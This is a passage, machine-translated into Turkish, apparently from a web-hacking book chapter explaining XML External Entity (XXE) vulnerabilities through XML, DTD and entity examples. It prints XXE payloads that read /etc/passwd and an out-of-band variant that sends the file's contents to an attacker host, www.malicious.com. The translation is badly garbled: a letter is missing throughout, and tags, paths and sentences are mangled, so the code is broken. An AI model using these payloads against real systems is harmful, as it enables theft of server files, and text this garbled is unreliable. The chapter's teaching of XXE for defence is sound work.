• Sonuç bulunamadı

Açıklama

B r XML Dış Varlık (XXE) güvenl k açığı, b r uygulamanın nasıl ayrıştırılacağından yararlanılmasını çer r XML g r ş , daha özel olarak, uygulamanın dah l ed lmes n nasıl şled ğ n kullanarak

G rd ye dah l ed len har c varlıklar. Bunun nasıl kullanıldığına da r tam b r takd r kazanmak

ve potans yel , lk olarak ne gel şt r leb l r Markup'un ne olduğunu anlamamızın en y olacağını düşünüyorum.

D l (XML) ve dış varlıklardır.

Meta d l, d ğer d ller tanımlamak ç n kullanılan b r d ld r ve XML budur

dır-d r. HTML'den sonra kısmen, HTML'n n eks kl kler ne b r cevap olarak gel şt r ld , ver görüntüsünü tanımlamak ç n kullanılır , nasıl görünmes gerekt ğ ne odaklanır. Ters ne, XML, ver ler n nasıl yapılandırılacağını tanımlamak ç n kullanılır .

Örneğ n, HTML’de, <t tle> , <h1> , <table> , <p> , vb. G b et ketler n z var .

çer ğ n nasıl görüntüleneceğ n tanımlamak ç n kullanılır. <T tle> et ket sayfa en tanımlamak ç n kullanılır t tle (şok ed c ), <h1> et ketler başlıkları tanımlar, <table> et ketler satırlar hal nde ver sunar ve

sütunlar ve <p> bas t met n olarak sunulur. Buna karşılık, XML' n önceden tanımlanmış et ketler yoktur.

Bunun yer ne, XML belges n oluşturan k ş , tanımlamak ç n kend et ketler n tanımlar.

çer k sunuluyor. İşte b r örnek:

<? xml vers on = "1.0" encod ng = "UTF-8"?>

<İşler>

<İş>

<t tle> Hacker </t tle>

<telaf > 1000000 </ telaf >

<sorumluluk steğe bağlı = "1" > Web’ vurun </respons b l ty>

</ İş>

</ İşler>

Bunu okuyarak, muhtemelen XML belges n n amacını tahm n edeb l rs n z.

ş l steleme ancak b r web sayfasında sunulmuşsa bunun nasıl görüneceğ konusunda h çb r f kr n z yok.

XML' n lk satırı, kullanılacak XML sürümünü bel rten b r b ld r m başlığı ve kodlamanın türü. Bunu yazarken, XML' n 1.0 ve 1.1 olan k sürümü vardır.

1.0 le 1.1 arasındak farkların detaylandırılması, k tabın kapsamı dışındadır.

Korsanlığı etk lememel s n.

<job> et ket n kullanarak, et ket n adı şd r ancak özn tel kler yoktur. d ğer taraftan <sorumluluğu>

el, s m n tel ğ ndek steğe bağlı b r özell k le sorumluluk taşır . steğe bağlı adı ve özell k değer 1 .

Herhang b r herhang b r et ket tanımlayab ld ğ nden, açık soru daha sonra nasıl olur?

Et ketler b r şey olab l rse, b r XML belges n n nasıl ayrıştırılacağını ve kullanılacağını b l yor musunuz? Pek , geçerl XML dokümanı geçerl d r, çünkü genel XML kurallarını tak p eder (ben m ç n gerek yok)

heps n l stele ama kapanış et ket olması yukarıda bahsett ğ m b r örnekt r) belge türü tanımı (DTD). DTD buna dalmamızın tek neden .

çünkü bu, b lg sayar korsanları olarak st smarımızı sağlayacak şeylerden b r .

B r XML DTD, kullanılan et ketler ç n b r tanım belges g b d r ve

XML tasarımcısı veya yazar. Yukarıdak örnekte, benden ber tasarımcı olurdum.

şler belges n XML olarak tanımladı. B r DTD hang et ketler n bulunduğunu, hang özell kler n olduğunu tanımlayacaktır.

d ğer elementlerde vb. bulunan elementlere sah p olab l rler.

Kend DTD'ler m z oluşturab l r m, bazıları resm leşt r ld ve bunlar da dah l Gerçekten Bas t Send kasyon (RSS), genel ver kaynakları (RDF), sağlık b lg ler (HL7 SGML / XML) vb.

İşte ben m DTD dosyası yukarıdak XML' mde nasıl göründüğü:

<! ELEMENT İşler ( Meslek ) * >

<! ELEMENT İş ( Unvan , Tazm nat , Sorumluluk ) >

<! ELEMENT Başlık ( #PCDATA ) >

<! ELEMAN Telaf s ( #PCDATA ) >

<! ELEMENT Sorumluluğu (#PCDATA)>

<! ATTLIST Sorumluluk steğe bağlı CDATA "0" >

Buna bakarak, muhtemelen ne anlama geld ğ n tahm n edeb l rs n z. B z m < şler> et ket aslında b r XML! ELEMENT ve Job öğes n çereb l r. B r ş b r!

heps aynı zamanda b r Başlık, Tazm nat ve Sorumluluk çereb l r!

ve sadece (#PCDATA) le göster len karakter ver ler n çereb l r . Son olarak,! ELEMENT Sorumluluğun, varsayılan değer 0 olan, steğe bağlı b r özell ğ (! ATTLIST) steğe bağlı vardır.

Çok zor değ l m ? DTD'lere ek olarak, hala sah p olmadığımız k öneml et ket var.

d scused ,! DOCTYPE ve ! ENTITY et ketler . Bu noktaya kadar, DTD'y kışkırttım.

dosyaları b z m XML’ n dışındadır. Yukarıdak lk örneğ , XML belges n hatırlayın İk nc örnekte DTD tarafından yapılan et ket tanımlarını çerm yordu.

Ancak, DTD'y XML belges n n ç ne dah l etmek ve bunu yapmak mümkündür.

XML' n lk satırı b r <! DOCTYPE> elemanı olmalıdır. İk örneğ m z b rleşt rerek yukarıda, şuna benzeyen b r belge alırız:

Sayfa 114

XML Dış Varlığı Güvenl k Açığı 102

<? xml vers on = "1.0" encod ng = "UTF-8"?>

<! DOCTYPE İşler [

<! ELEMENT İş (Unvan, Tazm nat, Sorumluluk)>

<! ELEMENT Başlık (#PCDATA)>

<! ELEMAN Telaf s (#PCDATA)>

<! ELEMENT Sorumluluğu (#PCDATA)>

<! ATTLIST Sorumluluk steğe bağlı CDATA "0">

]>

<İşler>

<İş>

<t tle> Hacker </t tle>

<telaf > 1000000 </ telaf >

<sorumluluk steğe bağlı = "1" > Web’ vurun </respons b l ty>

</ İş>

</ İşler>

Burada İç DTD Beyanı olarak adlandırılan şeye sah b z . Hala başladığımızı fark et.

belgem z n UTF-8 le XML 1.0'a uygun olduğunu gösteren b r b ld r m başlığı le

kodlama, ancak hemen sonra, zlenmes gereken XML ç n DOCTYPE'ımızı tanımlarız. kullanma

har c b r DTD,! DOCTYPE' n <! DOCTYPE şler g b görünmes dışında benzer olurdu SİSTEM "jobs.dtd"> . XML ayrıştırıcısı daha sonra jobs.dtd dosyasının çer ğ n ayrıştırır XML dosyasını ayrıştırırken. Bu öneml d r çünkü! ENTITY et ket de benzer şek lde ele alınır.

ve sömürümüzün temel n oluşturur.

B r XML varlığı b lg ç n b r yer tutucusu g b d r. Öncek örneğ m z tekrar kullanarak, Her ş n web s tem ze l nk vermes n steseyd k, b z m ç n sıkıcı olurdu.

Her zaman adres yazınız, özell kle de URL’n z değ şeb l yorsa. Bunun yer ne, b r

! ENTITY ve ayrıştırıcıyı ayrıştırma sırasında çer ğ n alıp ekleme belgeye değer. Umarım bununla nereye g tt ğ m görürsün.

Har c b r DTD dosyasına benzer şek lde, XML dosyamızı bu f kr çerecek şek lde güncelleyeb l r z:

<? xml vers on = "1.0" encod ng = "UTF-8"?>

<! DOCTYPE İşler [

<! ELEMENT İş (Unvan, Tazm nat, Sorumluluk, Web S tes )>

<! ELEMENT Başlık (#PCDATA)>

<! ELEMAN Telaf s (#PCDATA)>

<! ELEMENT Sorumluluğu (#PCDATA)>

<! ATTLIST Sorumluluk steğe bağlı CDATA "0">

<! ELEMENT Web s tes HERHANGİ BİR>

<! ENTITY url SYSTEM "web s tes .txt">

]>

<sorumluluk steğe bağlı = "1" > Web’ vurun </respons b l ty>

<webs te> & url; </ webs te>

</ İş>

</ İşler>

Burada, devam ett ğ m ve b r Web S tes ekled ğ m göreceks n z!

(#PCDATA), HERHANGİ ekled m. Bu, Web s tes et ket n n herhang b r komb nasyonu çereb leceğ anlamına gel r ayrıştırılab l r ver . Ayrıştırıcıyı söyleyen SYSTEM n tel ğ ndek b r! ENTITY de tanımladım

webs te.txt dosyasının çer ğ n almak ç n. İşler ş md daha da netleşmel . Bunları b r araya get rmek, “webs te.txt” yer ne, ne olacağını düşünüyorsunuz?

“/ etc / passwd” dah l m ? Tahm n edeb leceğ n z g b , XML' m z ayrıştırılacak ve Hassas sunucu dosyasının çer ğ / etc / passwd çer ğ m ze dah l ed lecekt r. Fakat XML' n yazarlarıyız, pek neden bunu yapalım?

Şey, b r XXE saldırısı, mağdur b r uygulamanın dah l ed lmes n kötüye kullanab leceğ zaman mümkün olur bu tür dış varlıklar XML ayrıştırmalarında. Başka b r dey şle, uygulamanın bazı

XML beklent ler ancak ne aldıklarını doğrulamamaktadır ve bu yüzden ne aldığını ayrıştırır.

Örneğ n, b r ş tahtası çalıştırdığımı ve kayıt olmanıza ve yüklemen ze z n verd ğ m varsayalım.

XML üzer nden şler. Başvurum gel şt r l rken DTD dosyamın s ze ve

gereks n mler karşılayan b r dosya göndereceğ n z varsayalım. Tehl ken n tanınmaması

Bundan, herhang b r onay almadan aldığım şey masumca ayrıştırmaya karar verd m. Ama olmak korsan, göndermeye karar verd n:

<? xml vers on = "1.0" kodlama = "ISO-8859-1"?>

<! DOCTYPE foo [

<! ELEMENT foo ANY>

<! ENTITY xxe SYSTEM "dosyası: /// etc / passwd">

]

>

<foo> & xxe; </ foo>

Ş md b ld ğ n z g b , çözümley c m bunu alacak ve tanımlayan dah l b r DTD tanıyacaktır.

foo Belge Türü'nün kend s ne ayrıştırılab l r ver ler çereb leceğ n ve

! / Etc / passwd dosyasını okumam gereken ENTITY xxe (dosyanın kullanımı: //

Belge ayrıştırıldığında ve / etc / passwd dosyasına g den tam dosya ur yolu) & xxe;

bu dosya çer ğ ne sah p öğeler. Sonra, onu tanımlayan geçerl XML le b t r rs n z.

Sunucu b lg ler m basan <foo> et ket . Ve bu arkadaşlar, XXE'n n bu kadar tehl kel olmasının neden . Fakat bekley n, dahası var. Uygulama yanıt yazdırmadıysa, yalnızca ayrıştırılırsa

çer ğ n z. Yukarıdak örneğ kullanarak, çer k ayrıştırılır, ancak h çb r zaman ade ed lmez

Sayfa 116

XML Dış Varlığı Güvenl k Açığı 104

b ze. Pek , yerel b r dosya eklemek yer ne, b r bağlantı kurmaya karar verm şsen z Bunun g b kötü n yetl sunucu:

<? xml vers on = "1.0" kodlama = "ISO-8859-1"?>

<! DOCTYPE foo [

<! ELEMENT foo ANY>

<! ENTITY% xxe SYSTEM "dosyası: /// etc / passwd">

<! ENTITY callhome SYSTEM "www.mal c ous.com /?% Xxe;">

]

>

<foo> & callhome; </ foo>

Bunu açıklamadan önce,% 'n n yer ne%' s n almış olab l rs n z.

callhome URL's nde,% xxe ;. Bunun neden , varlığın ne zaman kullanılması gerekt ğ DTD tanımı çer s nde ve kurum ç nde değerlend r ld ğ nde

XML belges . Ş md , XML belges ayrıştırıldığında, callhome! ENTITY

/ etc / passwd dosyasının çer ğ n okuyun ve www.mal cous.com adres ne uzaktan çağrı yapın.

dosya çer ğ n URL parametres olarak gönderme. O sunucuyu kontrol ett ğ m zden, kontrol edeb l r z.

Günlükler m z ve yeter nce / / etc / passwd çer ğ ne sah p olduğunuzdan em n olab l rs n z. Web ç n oyun b tt uygulama.

Pek , s teler bunları XXE açıklarına karşı nasıl korur? Ayrıştırmayı devre dışı bırakırlar dış varlıklar

Örnekler